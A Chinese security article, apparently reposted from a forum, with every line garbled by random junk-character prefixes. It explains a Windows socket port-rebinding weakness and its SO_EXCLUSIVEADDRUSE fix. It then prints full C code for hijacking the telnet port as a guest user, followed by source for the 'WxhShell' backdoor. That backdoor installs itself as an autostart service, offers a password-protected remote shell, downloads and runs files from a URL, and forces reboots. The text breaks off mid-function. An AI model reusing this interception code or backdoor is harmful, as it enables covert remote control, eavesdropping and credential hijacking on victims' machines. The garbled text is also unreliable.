在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
XcD$xFDZ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
AT+7!UGL <#k(g\/R saddr.sin_family = AF_INET;
Q!9AxM2K Myvp PW saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U8m/L^zh W^v3pH-y# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2Sz?r d,0f Bs:INvhYW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
f_I6g uDPz xJlf}LEyF 这意味着什么?意味着可以进行如下的攻击:
68
vu _=S4H 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?H3Ls~R D;*P'%_Z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
L"e8S%UqX Po_y78ZD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`o4alK\ Y- esD'MD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
VB=$D|Ll #6* j+SX^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
C+tB$yahO RE6dN 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]6#bp, HtFc+%= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wA$ JDf)Vg jJc:%h$|2 #include
|soDt<y+L #include
V'alzw7# #include
S+9}W/ #include
6N+ ]g/_a DWORD WINAPI ClientThread(LPVOID lpParam);
,sF49CD int main()
l=4lhFG,Mk {
qJN!L)) WORD wVersionRequested;
Ps<;DE\$f4 DWORD ret;
=cz^g^7 WSADATA wsaData;
<MdIQ;I8 BOOL val;
oU"!"t SOCKADDR_IN saddr;
~FCkr&Ky3 SOCKADDR_IN scaddr;
\7]0vG int err;
0;6eSmF SOCKET s;
l4:B( SOCKET sc;
tr?U/YG int caddsize;
[C@|qAh HANDLE mt;
! W2dMD/ DWORD tid;
A~0eJaq+ wVersionRequested = MAKEWORD( 2, 2 );
lFJDdf2:$C err = WSAStartup( wVersionRequested, &wsaData );
'ip2| UG if ( err != 0 ) {
(+aU ,EQ printf("error!WSAStartup failed!\n");
P]cC2L@Vbi return -1;
bSJ@
5qS }
,#?iu?i/ saddr.sin_family = AF_INET;
[0>I6Jl Tew?e&eO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
r8%"#<]/ WtS5i7:<Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;8Qx~:c saddr.sin_port = htons(23);
|[./jg" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
; ,9:1.L {
XSOSy2: printf("error!socket failed!\n");
:[\M|iAo return -1;
rvEX;8TS }
j{&*]QTN val = TRUE;
dQ#$(<v[ //SO_REUSEADDR选项就是可以实现端口重绑定的
sx1w5rj.Y0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
JiN>sEAM {
W*.j=?)\[ printf("error!setsockopt failed!\n");
>a%C'H.A9 return -1;
ngLpiU0H& }
w#qE#g %1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!94q F,#1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
nY M2Vxi0+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
){}1u ? H6/n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
KATu7)e&~^ {
oU`{6 ~; ret=GetLastError();
2p|ed=ly% printf("error!bind failed!\n");
)JA9bR
< return -1;
y?Cq{( }
2r^G;,{ listen(s,2);
;X;q8J^_K_ while(1)
{J~VB~(' {
0+{CN|0 caddsize = sizeof(scaddr);
8.WZC1N //接受连接请求
$ VTk0J-W sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
u;G-46 if(sc!=INVALID_SOCKET)
2QIx~Er {
Ci9]#)"c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%n B}Hq ; if(mt==NULL)
hEhvA6f, {
<rI8O;\H printf("Thread Creat Failed!\n");
C.`!?CW break;
*N65B# }
r7FFZNs! }
\DMZ M CloseHandle(mt);
c9O0YQ3&8 }
nq%GLUH
closesocket(s);
2'U+QK@ WSACleanup();
&zV;p return 0;
Um%$TGw5 }
5c
($~EFr DWORD WINAPI ClientThread(LPVOID lpParam)
X+KQ%Efo {
h?7@]&VJ SOCKET ss = (SOCKET)lpParam;
b}HwvS: SOCKET sc;
01w}8a( unsigned char buf[4096];
4{6XZ_J1 SOCKADDR_IN saddr;
wX+KW0|> long num;
jJqq:.XqB8 DWORD val;
)0XJOm DWORD ret;
eKvQS}11 //如果是隐藏端口应用的话,可以在此处加一些判断
@:w[(K[^b/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Qv
B%X)J saddr.sin_family = AF_INET;
Lq#$q>!K saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)(V!& w6 saddr.sin_port = htons(23);
s;W1YN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L %20tm {
GUcGu5tw: printf("error!socket failed!\n");
Q@ghQGn# return -1;
-izZ D }
VMl)_M:' val = 100;
6~ +/cY-V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mO^)k {
I><sK-3 ret = GetLastError();
IA~wmOF return -1;
\1nj=ca? }
d)1Pl3+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jrN"en {
B&Iy_; ret = GetLastError();
k)TNmpL%" return -1;
,M0#?j> }
x.%x|6G* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+Z/aB*aVa^ {
iM_Zn!|@\ printf("error!socket connect failed!\n");
:O9i:Xq[QW closesocket(sc);
9B9:lR closesocket(ss);
MVkO >s return -1;
3-4CGSX;X }
s#>``E! while(1)
dkAY%z two {
_i pY; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
C^fUhLVSZ^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
;%mYsQ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
8m*uT< 5D num = recv(ss,buf,4096,0);
->*'Y;t4 if(num>0)
vv^(c w>A send(sc,buf,num,0);
8/T,.<5 else if(num==0)
l'FNp break;
0oPcZ""X] num = recv(sc,buf,4096,0);
b
|JM4jgK if(num>0)
ZnZ`/zNO send(ss,buf,num,0);
m!sMr^W else if(num==0)
l~'NqmXe break;
cIOM}/gqv }
Rd:wMy$ closesocket(ss);
Dl=qss~g+ closesocket(sc);
9 #)& return 0 ;
7thB1cOJ }
2[~|6@n \{{i:&] H 2>'/!/+R ==========================================================
p -wEPC0 BkJNu_{m? 下边附上一个代码,,WXhSHELL
0Q5fX} SwdUElEp ==========================================================
Av,E|C XHYVcwmDz- #include "stdafx.h"
+&qj`hA-b o 4cqLMu #include <stdio.h>
>Ni<itze$i #include <string.h>
g/BlTi #include <windows.h>
_28vf Bl? #include <winsock2.h>
>*e,+ok #include <winsvc.h>
%Kc 2n9W #include <urlmon.h>
{i| $^A3 b$/'dnx #pragma comment (lib, "Ws2_32.lib")
<}t<A #pragma comment (lib, "urlmon.lib")
H-'~c\) @ZtDjxN
& #define MAX_USER 100 // 最大客户端连接数
#n6<jF1G #define BUF_SOCK 200 // sock buffer
gF8n{b #define KEY_BUFF 255 // 输入 buffer
<Kt;uu> "Oq>i9v;|$ #define REBOOT 0 // 重启
gvy c(d #define SHUTDOWN 1 // 关机
6+
C7vG` ~spfQV~ #define DEF_PORT 5000 // 监听端口
'J(B{B7| <p\iB'y #define REG_LEN 16 // 注册表键长度
09w<@# #define SVC_LEN 80 // NT服务名长度
(@ixV$Y {/K_NSg+h // 从dll定义API
~[3B<^e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
B,avI&7M;S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Jwe9L^gL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
KV]8o' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
C
]+J | x/Z
qY // wxhshell配置信息
?nV& :~eY struct WSCFG {
THf*<| int ws_port; // 监听端口
\%$z!]S> char ws_passstr[REG_LEN]; // 口令
6rg?0\A< int ws_autoins; // 安装标记, 1=yes 0=no
KQ2jeJ/pj char ws_regname[REG_LEN]; // 注册表键名
+"F 9yb char ws_svcname[REG_LEN]; // 服务名
JVt(!%K}& char ws_svcdisp[SVC_LEN]; // 服务显示名
nWb0S char ws_svcdesc[SVC_LEN]; // 服务描述信息
tp?<
e char ws_passmsg[SVC_LEN]; // 密码输入提示信息
L>{p> int ws_downexe; // 下载执行标记, 1=yes 0=no
e sDd>W char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8"KaW2/% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
).uR@j sEm064 };
i2Cw#x0s ;.|).y1/` // default Wxhshell configuration
J)"g`)\2 + struct WSCFG wscfg={DEF_PORT,
7^*[ XH "xuhuanlingzhe",
x/^,{RrPk 1,
61=D&lb "Wxhshell",
-1 <*mbb0 "Wxhshell",
6y}|IhX?z "WxhShell Service",
7<7
/NZ<I "Wrsky Windows CmdShell Service",
2SlOqH1 "Please Input Your Password: ",
Z0Df~ @ 1,
2m0laJ3p9 "
http://www.wrsky.com/wxhshell.exe",
I'>r "Wxhshell.exe"
$pGdGV\H };
o<\9OQ0 gy6Pf4Yo // 消息定义模块
t-3y`31i. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7qT>wCVT char *msg_ws_prompt="\n\r? for help\n\r#>";
1:VbbOu->V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
X0e#w? char *msg_ws_ext="\n\rExit.";
?/ Cl char *msg_ws_end="\n\rQuit.";
)ND%MYJSq char *msg_ws_boot="\n\rReboot...";
g}Esj"7 char *msg_ws_poff="\n\rShutdown...";
< rqFBq8 char *msg_ws_down="\n\rSave to ";
r'~^BLT`# Kt\#|-{CH- char *msg_ws_err="\n\rErr!";
T~JE.Y3B3 char *msg_ws_ok="\n\rOK!";
1@vlbgLr@ /`vn/X^?^ char ExeFile[MAX_PATH];
F3pBk)>a\ int nUser = 0;
E|> oseR HANDLE handles[MAX_USER];
+`s%-}-r int OsIsNt;
R0_O/o+{ QGpAG#M9? SERVICE_STATUS serviceStatus;
568qdD`PS SERVICE_STATUS_HANDLE hServiceStatusHandle;
2c4x=% Q{"QpVY8 // 函数声明
sm>5n_Vw int Install(void);
Vi o ~2 int Uninstall(void);
qmWn$,ax int DownloadFile(char *sURL, SOCKET wsh);
NQ"`F,T int Boot(int flag);
bUBQ void HideProc(void);
*oca int GetOsVer(void);
"Acc]CqH* int Wxhshell(SOCKET wsl);
7GVI={b void TalkWithClient(void *cs);
Z[pMlg6Z int CmdShell(SOCKET sock);
/Xo8 kC int StartFromService(void);
u[;,~eB%w int StartWxhshell(LPSTR lpCmdLine);
]> 36{k]& ic]b"ItD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0}d^UGD VOID WINAPI NTServiceHandler( DWORD fdwControl );
=
gbB)u-Pc xQK;3b // 数据结构和表定义
@Wb_Sz4` SERVICE_TABLE_ENTRY DispatchTable[] =
2qkZ B0[ {
o2vBY]Tj {wscfg.ws_svcname, NTServiceMain},
!Ey= {NULL, NULL}
^qP}/H[QT };
32KL~32Y UoSzxL // 自我安装
c>3AR17+5 int Install(void)
F#^<t$5t {
1YxG<K] char svExeFile[MAX_PATH];
{} gr\ HKEY key;
fu]mxGPc strcpy(svExeFile,ExeFile);
t/`~(0F H:jx_ // 如果是win9x系统,修改注册表设为自启动
{ICW"Rlcs if(!OsIsNt) {
a/v!W@Zz} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EBl? oN7E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
QaYUcma~n RegCloseKey(key);
j68_3zpl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;"N4Yflz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
cEc_S42Z RegCloseKey(key);
.vJlTg return 0;
\)'o{l& }
+dgHl_,i }
W-UMX',0zS }
0/@ ^He8l else {
zXRq) ;s pi|P&?yw // 如果是NT以上系统,安装为系统服务
. \6q\7Ej SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4`M7
3k0 if (schSCManager!=0)
*(>,\8OVf {
M 1
5_
SC_HANDLE schService = CreateService
^+'[:rE (
qVDf98 schSCManager,
zA
g.,dA wscfg.ws_svcname,
1q7Y,whp wscfg.ws_svcdisp,
-fm1T|># SERVICE_ALL_ACCESS,
~aZy52H_#. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ooW; s<6 SERVICE_AUTO_START,
h]{V/ SERVICE_ERROR_NORMAL,
O"6
(k{` svExeFile,
i3[%]_eP. NULL,
lNwqWOWy NULL,
T1YCld NULL,
yur5"$n NULL,
a6<UMJ NULL
&uMx*TTY );
d)yu`U if (schService!=0)
iXsX@ S^F {
6";ew:Ih^ CloseServiceHandle(schService);
!Yi2g-( CloseServiceHandle(schSCManager);
?Xq"Q^o4#e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9>I&Z8J$M strcat(svExeFile,wscfg.ws_svcname);
(O@fgBM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<Mq vGXI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
g;n6hXq4 RegCloseKey(key);
V }?MP-.c return 0;
rTmVHt }
r|,_qNrw }
dvX[,*wz CloseServiceHandle(schSCManager);
I)YUGA5 }
j'QPJ(`~1l }
K}j["p<! aB*'DDlx"r return 1;
wdo(K.m }
99G'`NO :FN-.1C // 自我卸载
M8{J int Uninstall(void)
{IgLH`@ {
MX)mm^A HKEY key;
qe3d,! !+(c/ gwBh if(!OsIsNt) {
gx ]5)O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y`Nprwb RegDeleteValue(key,wscfg.ws_regname);
2P(6R.8;6 RegCloseKey(key);
C4H$w:bVk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D<wz%* RegDeleteValue(key,wscfg.ws_regname);
p-o8Ctc?V RegCloseKey(key);
V7}]39m(s return 0;
=73aME} }
h; "pAE }
F+ Dke>j }
"PePiW(i+ else {
&rbkw<=j %5yP^BL0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;ZtN9l if (schSCManager!=0)
fG_<HJS(~ {
4Wk`P]?^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#9e 2+5s if (schService!=0)
T jrz_o) {
3n3$? oV if(DeleteService(schService)!=0) {
Xf%vfAf CloseServiceHandle(schService);
$No^\.mV CloseServiceHandle(schSCManager);
_fM=J+ return 0;
f>zd,|)At }
P|tNmv[; CloseServiceHandle(schService);
\TS.9 >\ }
/)*si CloseServiceHandle(schSCManager);
!~_6S*~ }
HrS-o= }
ym;I(TC+ qp{3I("_ return 1;
V
M{Sng }
JKY lKBI3oYn // 从指定url下载文件
q5G`N>"V int DownloadFile(char *sURL, SOCKET wsh)
Y1-=H)G {
W1
\dGskV HRESULT hr;
m`9P5[m#x> char seps[]= "/";
ecMpU8}rR char *token;
Ie7S'.Lmq char *file;
q${+I(b, char myURL[MAX_PATH];
n3_|#1Qu char myFILE[MAX_PATH];
%{B4M#~ >uP1k.z'I strcpy(myURL,sURL);
ufB9\yl{~ token=strtok(myURL,seps);
2UeK%-~W? while(token!=NULL)
Xk?Y {
XYze*8xUb file=token;
j*_>/gi token=strtok(NULL,seps);
q"-+`;^7(- }
'>:%n k[a5D/b GetCurrentDirectory(MAX_PATH,myFILE);
08_<G`r strcat(myFILE, "\\");
X- P%^mK strcat(myFILE, file);
R@
MXwP send(wsh,myFILE,strlen(myFILE),0);
?.g="{5X send(wsh,"...",3,0);
RV>n Op}R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
l(Y\@@t1 if(hr==S_OK)
X3j|J/ return 0;
[!j;jlh7}, else
=l4F/?u]f@ return 1;
Z5`U+ ( S;}/ql y }
BmFtRbR ^0(`:* // 系统电源模块
"P!zu(h4 int Boot(int flag)
ekCt1^5Y {
&\W5|*`x- HANDLE hToken;
YDaGr6y4i TOKEN_PRIVILEGES tkp;
$AF,4Ir-b+ iUq{c+h
if(OsIsNt) {
{4B7a6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
')Qb,#/,% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7,3 g{8 tkp.PrivilegeCount = 1;
A",Xn/d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
JpZ3T~Wrf AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
%:.IG.`d if(flag==REBOOT) {
q9B5>Ye) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
kf1 ( return 0;
M5`wfF,j }
iUk#0 I else {
"Xj>dB1~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=/kT| return 0;
\]qwD m/ }
k8w:8*y'. }
,ik\MSS else {
]//Dd/L6 if(flag==REBOOT) {
oRHWb_$" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
c HUj6'neO return 0;
Tl
S904' }
N#8$pE else {
6Z!OD(/e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
rp!>rM] s return 0;
V&R_A